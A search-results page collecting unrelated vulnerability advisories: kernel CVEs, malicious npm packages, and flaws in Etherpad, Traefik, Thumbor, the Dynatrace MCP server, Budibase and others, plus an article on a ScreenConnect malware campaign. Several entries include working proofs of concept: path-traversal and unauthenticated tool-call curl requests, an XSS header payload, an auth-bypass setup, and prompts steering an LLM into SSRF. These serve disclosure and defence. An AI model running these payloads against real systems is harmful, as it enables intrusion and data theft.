Search: res.in

In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_u32: skip hash tables in u32_bind_class() u32_walk() enumerates both struct tc_u_hnode and struct tc_u_knode through the walker callback. u32_bind_class() unconditionally casts the passed fh to tc_u_knode and accesses &n->res, so when fh is actually a tc_u_hnode, which has no tcf_result member, this results in a slab-out-of-bounds read of res->classid in tc_cls_bind_class(). The issue can be reproduced with the following commands: tc qdisc add dev lo root handle 1: hfsc tc class add dev lo parent 1: classid 1:1 hfsc sc rate 1000kbit tc filter add dev lo parent 1:1 protocol ip prio 1 u32 match u32 0 0 flowid 1:1 tc class add dev lo parent 1: classid 1:2 hfsc sc rate 2000kbit Fix this by skipping hash tables via the TC_U32_KEY(handle) check.

The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es): * kernel: ksm: use range-walk function to jump over holes in scan_get_next_rmap_item (CVE-2025-68211) * kernel: ip6_tunnel: use skb_vlan_inet_prepare() in __ip6_tnl_rcv() (CVE-2026-23003) * kernel: netfilter: nft_set_pipapo_avx2: don't return non-matching entry on expiry (CVE-2026-43114) * kernel: sctp: purge outqueue on stale COOKIE-ECHO handling (CVE-2026-52924) * kernel: netfilter: xt_policy: fix strict mode inbound policy matching (CVE-2026-52920) * kernel: zram: fix use-after-free in zram_bvec_write_partial() (CVE-2026-53185) * kernel: netfilter: require Ethernet MAC header before using eth_hdr() (CVE-2026-53131) * kernel: netfilter: conntrack_irc: fix possible out-of-bounds read (CVE-2026-53268) * kernel: i2c: stub: Reject I2C block transfers with invalid length (CVE-2026-64191) * kernel: netfilter: ipset: fix race between dump and ip_set_list resize (CVE-2026-64189) * kernel: Input: synaptics-rmi4 - bound the F3A keymap to the GPIO count (CVE-2026-64277) * kernel: Input: synaptics-rmi4 - bound the F30 keymap to the GPIO/LED count (CVE-2026-64276) * kernel: net: ipv6: use-after-free in fib6_rule_suppress due to stale res->rt6 pointer (CVE-2026-74581) Bug Fix(es) and Enhancement(s): * [RHEL-9.8.z] Intel CWF: CPU is unable to obtain cstate1 on idle system (JIRA:RHEL-166118) * ss core dumped when there is an SCTP session [rhel-9.8.z] (JIRA:RHEL-212398) * [IBM 9.9 FEAT] zcrypt driver overwrite function - kernel part [rhel-9.8.z] (JIRA:RHEL-245333) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

The npm package cat-embed-i18n-res version 1.0.0 contains malicious code disguised as an internationalization resource. Instead of legitimate localized text, its strings.json file includes HTML/JavaScript payloads that execute cross-site scripting (XSS) attacks when rendered as HTML. These payloads send the user's session cookies and domain information to a remote endpoint, potentially compromising user sessions.

The UMP Stream responder library in lib/midi2/ump_stream_responder.c builds reply packets in a 16-byte struct midi_ump (uint32_t data[4]). The builders make_endpoint_info() and make_function_block_info() populate only the first two words (res.data[0] and res.data[1]) and, before this fix, declared their result as an uninitialised local (struct midi_ump res;). The remaining two words (res.data[2], res.data[3]) retain stale stack contents. Endpoint Info and Function Block Info notifications are UMP Stream messages (UMP_MT_UMP_STREAM), which are 4 words long, so the full 16-byte packet — including the two uninitialised words — is transmitted verbatim by cfg->send(). The responder is driven by attacker-supplied UMP Stream Endpoint-Discovery / Function-Block-Discovery requests via ump_stream_respond(). In the in-tree Network MIDI 2.0 server (subsys/net/lib/midi2/netmidi2.c) these requests arrive as UDP datagrams and, with the default no-authentication endpoint, a remote peer can establish a session and trigger the responses; the same library also serves USB MIDI 2.0 hosts. Each discovery request causes the device to disclose 8 bytes of its own uninitialised stack memory to the peer, and the request is freely repeatable. This is a confidentiality-only information leak (root cause is use of an uninitialised variable, CWE-457/CWE-908); the leaked words could include residual data or pointer values. There is no memory-corruption, integrity, or availability impact. The fix zero-initialises both result structs (struct midi_ump res = {0};), so the trailing words are cleared before transmission. These are the only two responder builders that left trailing words unset (send_string() already zeroes its buffer), so the leak is fully closed.

In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_route: fix fastmap use-after-free on filter The route4 classifier maintains a 16-slot fastmap cache that stores raw struct route4_filter pointers indexed by (id, iif). The reader (route4_classify) populates this cache via route4_set_fastmap() for every classified packet that hits a filter. The writer (route4_delete, route4_change) clears the cache via route4_reset_fastmap() before RCU-deferred kfree of the filter. This creates a UAF race: 1. Reader walks the RCU-protected bucket chain, finds filter f 2. Writer unlinks f, calls route4_reset_fastmap(), then tcf_queue_work() 3. Reader calls route4_set_fastmap() and writes f into the cache *after* the writer's reset, caching a pointer about to be freed 4. After the RCU grace period, kfree(f) executes 5. Next classified packet on the same (id, iif) tuple hits the stale fastmap entry and reads f->res from freed memory Reproduced with an mdelay(100) accelerator in route4_set_fastmap() and a concurrent add/delete stress test (provided by both zdi and Santosh). Both triggered KASAN slab-use-after-free reports in the route4 fastmap paths. Fix: Introduce a per-filter boolean dying flag to suppress stale fastmap republishing by in-flight readers.

In the Linux kernel, the following vulnerability has been resolved: net: ipv6: clear suppressed fib6 rule result fib6_rule_suppress() drops a suppressed route with ip6_rt_put_flags(), but leaves res->rt6 pointing at the released rt6_info. If no later rule supplies a replacement, fib6_rule_lookup() still sees res.rt6 and returns that stale dst to its caller. A suppressing rule can therefore leak a released route back to rt6_lookup(), and the next put hits rcuref_put_slowpath() from dst_release(). Clear res->rt6 when suppressing the route so suppressed lookups fall through to the null dst instead of reusing the released one.

Etherpad is a real-time collaborative editor. From 2.6.0 until 3.1.0, Etherpad's src/node/hooks/express/tokenTransfer.ts uses POST /tokenTransfer to store an author token for transfer between browsers and exposes it through GET /tokenTransfer/{uuid}. Although the record includes createdAt, the transfer has no expiration check, is not removed after successful redemption, and is returned by res.send(tokenData), including the raw author token. An unauthenticated attacker who obtains a transfer UUID can repeatedly redeem it, receive fresh author cookies, read the cleartext token, and impersonate the originating author for pad read and write operations. This issue is fixed in version 3.1.0.

Wekan is open source kanban built with Meteor. From 9.57 until 9.74, the /api/boards/:boardId/exportExcel route in models/exportExcel.js called the asynchronous exporterExcel.canExport(user) authorization guard from models/server/ExporterExcel.js without awaiting it. The returned Promise was always truthy, so exporterExcel.build(res) ran even when board.isVisibleBy(user) would deny access, allowing any authenticated non-member to download private board card titles, descriptions, lists, swimlanes, members, and metadata. This issue is fixed in version 9.74.

The log-res npm package version 1.0.3 contains malicious code embedded in an obfuscated JavaScript blob disguised as a database file (des.db). This code creates a temporary directory, installs additional dependencies, and runs a staged payload that connects to an attacker-controlled remote agent via socket.io-client. The package's advertised functionality does not require this embedded executable, indicating intentional malicious behavior.

In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: bound attr_off in UpdateResidentValue against data_off In do_action()'s UpdateResidentValue case (fslog.c:3307), lrh->attr_off and lrh->redo_len come from the on-disk LRH. When they satisfy aoff + dlen < attr->res.data_off, the assignment attr->res.data_size = cpu_to_le32(aoff + dlen - data_off); underflows to ~4 GiB (e.g. 0xFFFFFFF9 when aoff=0x10, dlen=1, data_off=0x18). Subsequent code that reads attr->res.data_size to walk the resident attribute payload would then read up to 4 GiB past the 1024-byte MFT record allocation. The existing mi_enum_attr() defense in fs/ntfs3/record.c:287 catches the corrupted data_size on the next attribute walk and fails the mount, but only on the path that walks all attributes. A read site that picks an attribute by name and reads its data_size without re-validating is not covered. Validate aoff against data_off and asize at the source. Reproduced under UML+KASAN on mainline 8d90b09e6741 via pr_warn-only probe: with aoff=0x10 and data_off=0x18, the post-assignment data_size is 0xfffffff9 (mount then fails at -22 from mi_enum_attr). [almaz.alexandrovich@paragon-software.com: clang-formatted the changes]

# Unauthenticated Path Traversal in Dashboard Session Log API Endpoints | Field | Value | | ---------------- | ----- | | Repository | ooples/token-optimizer-mcp | | Affected version | 5.0.1 (commit 8137147) | | Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory | | Severity | Medium | | CVSS 3.1 | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) | ## Summary The dashboard HTTP server in `token-optimizer-mcp` exposes `/api/session-summary` and `/api/session-events` with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied `sessionId` query parameter directly into a filesystem path via `path.join`, and Node.js normalizes `..` segments at resolution time, allowing an unauthenticated attacker to read any `.jsonl` file reachable from the server's filesystem. Successful reproduction confirmed exfiltration of a `.jsonl` file located outside the intended `hooksDataPath` directory with a single unauthenticated HTTP GET request. ## Affected Code `src/server/web-server.ts:73–88` — `/api/session-summary`: unsanitized `sessionId` interpolated into `path.join` then passed to `fs.readFileSync` ```typescript const hooksDataPath = getHooksDataPath(); const jsonlFilePath = path.join( hooksDataPath, `session-log-${sessionId}.jsonl` ); if (!fs.existsSync(jsonlFilePath)) { return res.status(404).json({ success: false, error: `JSONL log not found for session ${sessionId}`, sessionId, }); } // Parse JSONL file const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8'); ``` `src/server/web-server.ts:297–311` — `/api/session-events`: identical unsanitized `path.join` + `fs.readFileSync` pattern ```typescript const hooksDataPath = getHooksDataPath(); const jsonlFilePath = path.join( hooksDataPath, `session-log-${sessionId}.jsonl` ); if (!fs.existsSync(jsonlFilePath)) { return res.status(404).json({ success: false, error: `JSONL log not found for session ${sessionId}`, }); } // Parse JSONL file const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8'); ``` `req.query.sessionId` flows unsanitized into `path.join(hooksDataPath, \`session-log-${sessionId}.jsonl\`)`, which Node.js resolves by normalizing `..` traversal sequences before the `fs.readFileSync` call. ## Proof of Concept Step 1 — Send traversal payload to `/api/session-events` with no credentials: server returns HTTP 200 with contents of a `.jsonl` file outside `hooksDataPath` — proves unauthenticated out-of-bounds file read. ```bash curl -s "http://127.0.0.1:3100/api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target" ``` ```http GET /api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target HTTP/1.1 Host: 127.0.0.1:3100 User-Agent: python-requests/2.x Accept: */* ``` ```http HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Content-Length: 186 {"success":true,"sessionId":"abc/../../../../traversal-target","total":1,"offset":0,"limit":100,"events":[{"type":"PATH_TRAVERSAL_EVIDENCE","secret":"sensitive-data-outside-hooks-dir"}]} ``` ## Impact An unauthenticated remote attacker can read the contents of any `.jsonl` file accessible to the process running the dashboard server. In a typical deployment this includes all session log files (which contain tool invocations, hook outputs, and token usage data) as well as any other `.jsonl` file reachable via `..` traversal from `hooksDataPath`. The constraint that the resolved path must end in `.jsonl` limits the attack surface to that file extension, but session logs can contain sensitive operational data. The same path traversal is present in both `/api/session-summary` and `/api/session-events`, and neither endpoint requires authentication. ## Remediation 1. **Validate `sessionId` format** before use: reject any value that does not match a strict allowlist such as `/^[a-zA-Z0-9_-]{1,64}$/`. This prevents `/` and `.` characters from entering the path construction entirely. ```typescript const SESSION_ID_RE = /^[a-zA-Z0-9_-]{1,64}$/; if (!SESSION_ID_RE.test(sessionId)) { return res.status(400).json({ success: false, error: 'Invalid sessionId' }); } ``` 2. **Alternatively, apply `path.basename`** to strip all directory components: `path.basename(sessionId)` reduces any traversal sequence to a bare filename before `path.join`. 3. **Add authentication middleware** to all `/api/*` routes so that even if a bypass is found the endpoints are not reachable without a valid session token.

# GHSA-03 — `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect) **Severity:** Medium **CVSS v3.1 vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` **CVSS suggested base score:** ~6.1 — Medium *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)* **CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests ## Title `x-proxy-path` request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a `/p/:pad/timeslider` redirect target (open-redirect via protocol-relative URL) ## Description Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. `/pad/etherpad/...`). The proxy is expected to set `x-proxy-path: /pad/etherpad` on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header: ### Issue 3a — `src/node/hooks/express/admin.ts` (XSS, cache-poisoning) The admin static-serving handler read `req.header('x-proxy-path')` and substituted it into the response body of every `.html`/`.js`/`.css` asset under `/admin/*` using `String.prototype.replaceAll`. The value was used **raw**, with no character filter and no `Vary` / `Cache-Control` headers on the response. Consequently: - An attacker who can issue a request with a chosen `x-proxy-path` value gets that value reflected into HTML/JS/CSS sent back to them. **Reflected XSS** on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML). - More seriously, any reverse proxy or CDN in front of Etherpad that caches `/admin/index.html` keyed on URL alone (the common case — no `Vary` was set) will cache the poisoned response and serve it to subsequent admins. **Cache-poisoning XSS** against every admin that loads the same bundle from the same cache. ### Issue 3b — `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL) The legacy `/p/:pad/timeslider` handler (direct visits without `?embed=1`) built a redirect target as: ```ts res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`); ``` A local `sanitizeProxyPath` helper filtered the character class but did NOT prevent values beginning with `//`. A request carrying `x-proxy-path: //evil.example` therefore produced a `Location: //evil.example/p/<pad>` header, which browsers interpret as a protocol-relative URL — equivalent to `https://evil.example/p/<pad>`. **Open redirect**, exploitable for phishing. Both issues require the `x-proxy-path` header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed. ## Severity rationale - **AV:N / AC:L / PR:N** — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response. - **UI:R** — victim must visit/interact with the admin UI. - **S:C** — scope changes (attacker context to admin origin). - **C:L / I:L** — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining. CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client `x-proxy-path` are not exposed. ## Affected versions - **Admin XSS (Issue 3a):** `ep_etherpad-lite >= 2.1.0, <= 3.0.0`. The unsanitised `replaceAll("/admin", req.header(PROXY_HEADER) + ...)` was present in [`63e9b2d` "Fixed api header authorization" (#6399)](https://github.com/ether/etherpad/commit/63e9b2d), first tagged in **v2.1.0** (2024-05-22). All releases through `v3.0.0` carry it. - **Open-redirect (Issue 3b):** `ep_etherpad-lite = 3.0.0`. The legacy timeslider redirect that concatenates the proxy path into a `Location` header was introduced in [`451bd9c` "scrub history in-place on the pad URL" (#7710)](https://github.com/ether/etherpad/commit/451bd9c) and first shipped in **v3.0.0**. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape. - Combined fix-target range covered by the GHSA: `>= 2.1.0, <= 3.0.0`. ## Patched versions - `ep_etherpad-lite >= 3.1.0` — the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships. ## Proof of concept ### XSS / cache poisoning ``` curl -s 'https://pad.example/admin/index.html' \ -H 'x-proxy-path: "><script>f

In the Linux kernel, the following vulnerability has been resolved: wifi: wilc1000: validate assoc response length before subtracting header wilc_parse_assoc_resp_info() computes the trailing IE length as ies_len = buffer_len - sizeof(*res); without first checking that buffer_len is at least sizeof(struct wilc_assoc_resp) (6 bytes). buffer_len is the length reported for a received association response (host_int_parse_assoc_resp_info() passes hif_drv->assoc_resp / assoc_resp_info_len straight in) and must be validated before the driver accesses the fixed header. For a frame shorter than the 6-byte fixed header, the subtraction wraps. For a four-byte response the result is truncated to a u16 ies_len of 65534, so kmemdup() then attempts to copy 65534 bytes starting at buffer + sizeof(*res), beyond the valid association-response data (CWE-125). A response shorter than four bytes can also cause an out-of-bounds read of res->status_code at offsets 2 and 3. Reject frames too short to hold the fixed header before touching the header or computing ies_len. Also set the connection status to a failure on this path: the caller falls through to a "conn_info->status == WLAN_STATUS_SUCCESS" check after the parser returns, so leaving the status untouched could let a malformed short response be treated as a successful association.

A path traversal vulnerability exists in all versions of mustafaakin/cast-localvideo. An unauthenticated remote attacker can exploit this flaw to read arbitrary files on the server by supplying a crafted directory path to the vulnerable handler in app.js. This occurs because the user input is passed directly to res.sendFile() without proper sanitization, allowing directory traversal sequences such as ../ to access sensitive files.

## Summary There is a critical authentication-bypass vulnerability in Traefik's `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: "^/api(.*)"`, `replacement: "/$1"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.52 - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. ### Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. **Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. **Attack flow:** 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication **Suggested fix:** Add the same JoinPath equality check after line 67: ```go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return } ``` ### PoC **Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl **1. Create `docker-compose.yml`:** ```yaml services: traefik: image: traefik:v3.7.6 command: - "--api.insecure=true" - "--providers.file.filename=/etc/traefik/dynamic.yml" - "--entrypoints.web.address=:80" ports: - "8080:8080" - "80:80" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine working_dir: /app volumes: - ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5 ``` **2. Create `dynamic.yml`:** ```yaml http: routers: public-api: rule: "PathPrefix(`/api`)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(`/admin`)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.*)" replacement: "/$1" auth: basicAuth: users: - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: - url: "http://backend:3000" ``` **3. Create `server.js`:** ```javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || n

## Summary The `ALLOWED_SOURCES` configuration is meant to restrict which hosts Thumbor's HTTP loader may fetch images from. Plain-string entries in that list (the overwhelming majority of real-world and documented configurations) are passed directly to `re.match()` without escaping. Because `.` is a regex wildcard, every dot in a domain name becomes a bypass vector: `s.glbimg.com` silently matches `sXglbimgYcom`, `sAglbimg.com`, and any other hostname that differs only at a dot position. This undermines the primary SSRF defence that `ALLOWED_SOURCES` is intended to provide. ## Affected component `thumbor/loaders/http_loader.py` — `validate()` ## Proof of concept ```python import re from thumbor.config import Config from thumbor.context import Context from thumbor.loaders import http_loader as loader config = Config() config.ALLOWED_SOURCES = ["s.glbimg.com"] # typical user config ctx = Context(None, config, None) # These should be blocked — both return True due to the unescaped dot print(loader.validate(ctx, "http://sXglbimgYcom/secret.jpg")) # True ← bypass print(loader.validate(ctx, "http://sAglbimg.com/secret.jpg")) # True ← bypass # Legitimate origin — correctly allowed print(loader.validate(ctx, "http://s.glbimg.com/logo.jpg")) # True ← correct ``` ## Root cause `thumbor/loaders/http_loader.py` (before fix): ```python for pattern in context.config.ALLOWED_SOURCES: if isinstance(pattern, Pattern): match = url else: pattern = f"^{pattern}$" # <-- dots not escaped, act as regex wildcard match = res.hostname if re.match(pattern, match): return True ``` ## Impact An attacker who can influence the image source URL passed to Thumbor can fetch images from arbitrary hosts, bypassing the `ALLOWED_SOURCES` allowlist. **Preconditions:** - `ALLOWED_SOURCES` contains at least one plain-string entry (the common case; all official documentation examples use plain strings). - The attacker can supply or influence the image URL — true whenever `ALLOW_UNSAFE_URL = True` (the default), or when the application forwards user input to a signed URL endpoint. ## Fix Apply `re.escape()` to plain-string patterns before compiling them, so every character is matched literally: ```python else: pattern = f"^{re.escape(pattern)}$" # dots and other metacharacters are now literal match = res.hostname ``` This is a one-call addition with no breaking change for correctly written configurations. Users who need real regular-expression behaviour should supply a compiled pattern (`re.compile(r"s\.glbimg\.com")`), which is already handled by the existing `isinstance(pattern, Pattern)` branch and is unaffected by this change. The `ALLOWED_SOURCES` docstring in `config.py` was also updated to document the two-mode behaviour explicitly.

### Summary `@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant). ### Details When the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance: ```ts // src/index.ts:1638-1640 const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // No Session ID needed }); ``` No bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport: ```ts // src/index.ts:1648-1668 body = JSON.parse(rawBody); ... await httpTransport.handleRequest(req, res, body); ``` Two tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate: **`execute_dql` — Confidentiality: High** ```ts // src/index.ts:746-769 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...)); return executeDql(dtClient, { query }); ``` An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials. **`create_dynatrace_notebook` — Integrity: Low** ```ts // src/index.ts:1593-1600 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write')); return createNotebook(dtClient, { name, sections }); ``` An attacker can create notebooks under the victim's tenant. > **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector. > **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials. ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build \ -t dynatrace-mcp-vuln001:latest \ -f /path/to/vuln-001/Dockerfile \ /path/to/dynatrace-mcp/repo # Run — abc12345 in hostname activates demo mode, skipping real API connectivity check docker run -d \ --name dynatrace-mcp-vuln001-test \ -p 127.0.0.1:3999:3999 \ -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \ -e DT_PLATFORM_TOKEN=fake-token-for-poc \ dynatrace-mcp-vuln001:latest \ --http --port 3999 --host 0.0.0.0 ``` **Unauthenticated tool invocation (no `Authorization` header):** ```bash curl -sS -N -X POST http://127.0.0.1:3999/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}' ``` **Observed response (HTTP 200, no authentication required):** ``` HTTP/1.1 200 OK content-type: text/event-stream event: message data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1} ``` **Python PoC script** (automated, with server-readiness polling): ```bash python3 poc.py 127.0.0.1 3999 # Exits 0 on confirmed unauthenticated tool execution # Exits 2 if server correctly returns HTTP 401 (patched) ``` **High-impact variant with real credentials — data exfiltration via `execute_dql`:** ```bash curl -sS -N -X POST http://<server>:3000/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "execute_dql", "arguments": { "query": "fetch logs | limit 10" }

Leveraging legitimate software is one of cybercriminals’ tactics of choice, with remote management tools ranking among their top tools. A recent example involves the remote administration utility ScreenConnect. It’s designed for IT support teams to troubleshoot systems and configure software seamlessly in the background. However, when weaponized by threat actors, ScreenConnect becomes a versatile attack vehicle used to harvest data, deploy malware, and move laterally across corporate networks. During a recent incident detected by Kaspersky Managed Detection and Response , our experts identified an attempt to use ScreenConnect in an attack. This allowed a detailed study of how attackers used this application in a large-scale malware distribution campaign. The following breakdown illustrates the mechanics of ScreenConnect-assisted attacks, and outlines key strategies to defend your organization against them. How ScreenConnect reaches target computers In the campaign analyzed by our experts, the attackers bundled ScreenConnect with legitimate free business software. They established a network of phishing websites to spoof popular tools, including OBS Studio, DS4Windows, DNS Jumper, Glary Utilities, Bandizip, Process Hacker, and others. These rogue websites featured high-quality designs that could be taken for the official pages, making them highly convincing to unsuspecting users. Once the victim clicks the download button for the software, an archive is downloaded to their computer that contains additional files alongside the requested application: A legitimately signed Microsoft executable ( exe ), renamed to match the expected application installer (for example, OBS-Studio-Installer.exe ) A malicious library named res.1033.dll An Assets directory containing installers for both ScreenConnect and the intended application Launching the renamed file disguised as the app installer triggers DLL sideloading of a malicious library. This library silently runs the ScreenConnect installation without restarting the system, while using the standard Windows installer to set up the software the user originally tried to install. The attackers used search engine optimization techniques to drive traffic to their fake websites. As a result, these malicious pages appeared at the top of search results for certain free software utilities on major search engines. Our experts discovered over 90 domain names translated into more than 10 different languages. While most of these websites targeted English, Russian, and Chinese speakers, several domains catered to German, French, Spanish, Arabic, and other regional audiences. A detailed analysis of the IP addresses and associated spoofed domains is available in our technical research article on Securelist, along with full indicators of compromise. Why the attackers exploited ScreenConnect In this campaign, attackers leveraged ScreenConnect to generate and execute malicious scripts on victim machines. These scripts served several key functions: they created exclusions for specific drives, directories, and processes within Windows Defender, disabled the User Account Control (UAC) security mechanism, and delivered and deployed AsyncRAT – a remote access Trojan. To maintain persistence, the scripts configured a Windows scheduled task to run the malicious code at preset intervals. AsyncRAT then established a connection with the attackers’ command-and-control server to receive further instructions. The primary objective of this campaign appears to be gaining unauthorized access to enterprise systems, likely to then resell it on cybercrime marketplaces. How to secure corporate infrastructure Although ScreenConnect in and of itself is a legitimate tool, its presence poses a security risk to corporate environments. Consequently, Kaspersky security solutions detect this application as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen. Security teams should implement the following controls: Enforce strict applicatio…

# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ## Summary The `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs). A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources. This is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF. ## Affected Versions <= 3.39.0 (current `lerna.json` version at time of analysis) ## Vulnerability Details ### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check ```typescript // packages/server/src/utilities/fileUtils.ts:21-23 export async function uploadUrl(url: string): Promise<Upload | undefined> { try { const res = await fetch(url) // No blacklist validation ``` This is called from: ```typescript // 